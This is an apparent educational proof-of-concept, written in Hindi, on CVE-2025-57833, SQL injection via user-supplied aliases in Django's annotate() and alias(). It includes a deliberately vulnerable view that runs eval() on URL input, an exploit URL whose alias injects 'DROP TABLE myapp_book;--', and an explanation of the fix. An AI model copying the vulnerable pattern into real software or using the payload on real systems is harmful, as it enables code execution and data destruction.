
Django के annotate() और alias() मेथड्स में डायनामिक अलियास के माध्यम से SQL इंजेक्शन (CVE-2025-57833) प्रदर्शित करने वाला शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट। इसमें असुरक्षित कोड, एक्सप्लॉइटेशन उदाहरण और फिक्स विश्लेषण शामिल है।
एक alias SQL क्वेरी में किसी कॉलम या एकत्रीकरण परिणाम को दिया गया नाम है।
Django में, alias का उपयोग annotate() या alias() विधियों के साथ गणना किए गए फ़ील्ड को नाम देने के लिए किया जाता है।
उदाहरण:
from django.db.models import Count
books = Book.objects.annotate(book_count=Count('id'))
यहाँ, book_count Count('id') के परिणाम के लिए एक alias है।
यह गणना किए गए कॉलम के लिए एक पढ़ने योग्य नाम प्राप्त करने की अनुमति देता है।
जल्दी से काम करने के लिए, हम शेल के माध्यम से डेटा सम्मिलित कर सकते हैं:
python manage.py shell
निष्पादित करने के आदेश:
from myapp.models import Author, Book
a = Author.objects.create(name=" houchi pierre")
Book.objects.create(title="Les belles filles", author=a)
Book.objects.create(title="Les baux arcons", author=a)
exit()
Django 4.2.23 से पहले, उपयोगकर्ता द्वारा प्रदान किए गए गतिशील alias के माध्यम से SQL इंजेक्ट करना संभव था।
यह भेद्यता CVE-2025-57833 के नाम से जानी जाती है।
यह annotate() और alias() फ़ंक्शंस को प्रभावित करती थी जब उपयोगकर्ता से प्राप्त अनफ़िल्टर्ड कुंजियों के साथ एक विस्तारित शब्दकोश (**kwargs) का उपयोग किया जाता था।
myapp/views.py)import json
from django.db.models import Count
from django.http import JsonResponse
from .models import Author
def vulnerable_view(request):
# हम URL से alias प्राप्त करते हैं
alias_param = request.GET.get("alias", "{}")
try:
# ⚠️ भेद्य: उपयोगकर्ता डेटा का सीधा मूल्यांकन
alias_dict = json.loads(alias_param)
for key, value in alias_dict.items():
alias_dict[key] = eval(value) # खतरनाक! मनमाना कोड निष्पादन की अनुमति देता है
# गतिशील एनोटेशन के साथ queryset बनाना
qs = Author.objects.annotate(**alias_dict).values("name", *alias_dict.keys())
# परिणाम लौटाना
return JsonResponse(list(qs), safe=False)
except Exception as e:
return JsonResponse({"error": str(e)})
alias_param = request.GET.get("alias", "{}")
उपयोगकर्ता द्वारा पारित alias पैरामीटर का मान प्राप्त करता है।
alias_dict = json.loads(alias_param)
JSON स्ट्रिंग को Python शब्दकोश में बदलता है।
alias_dict[key] = eval(value)
⚠️ बहुत खतरनाक: eval() स्ट्रिंग को Python कोड के रूप में निष्पादित करता है।
उपयोगकर्ता विनाशकारी SQL इंजेक्ट कर सकता है।
Author.objects.annotate(**alias_dict)
प्रदान किए गए alias के साथ गतिशील रूप से एनोटेशन लागू करता है।
myapp/models.py)from django.db import models
class Author(models.Model):
name = models.CharField(max_length=100)
def __str__(self):
return self.name
class Book(models.Model):
title = models.CharField(max_length=100)
author = models.ForeignKey(Author, on_delete=models.CASCADE)
def __str__(self):
return self.title
स्पष्टीकरण:
Author और Book एक ForeignKey संबंध द्वारा जुड़े हुए हैं।Author पर गतिशील एनोटेशन का उपयोग किया जाता है।http://127.0.0.1:8000/vuln/?alias={"evil); DROP TABLE myapp_book;--":"Count('id')"}
Django अब alias में कुछ वर्णों को प्रतिबंधित करता है:
--)यदि URL में ये वर्ण हैं, तो Django एक त्रुटि उठाता है:
Column aliases cannot contain whitespace characters, quotation marks, semicolons, or SQL comments.
http://127.0.0.1:8000/vuln/?alias={"books_count":"Count('book')"}
eval() के माध्यम से।eval() का उपयोग न करें।लेखक: Loïc
तिथि: 06/09/2025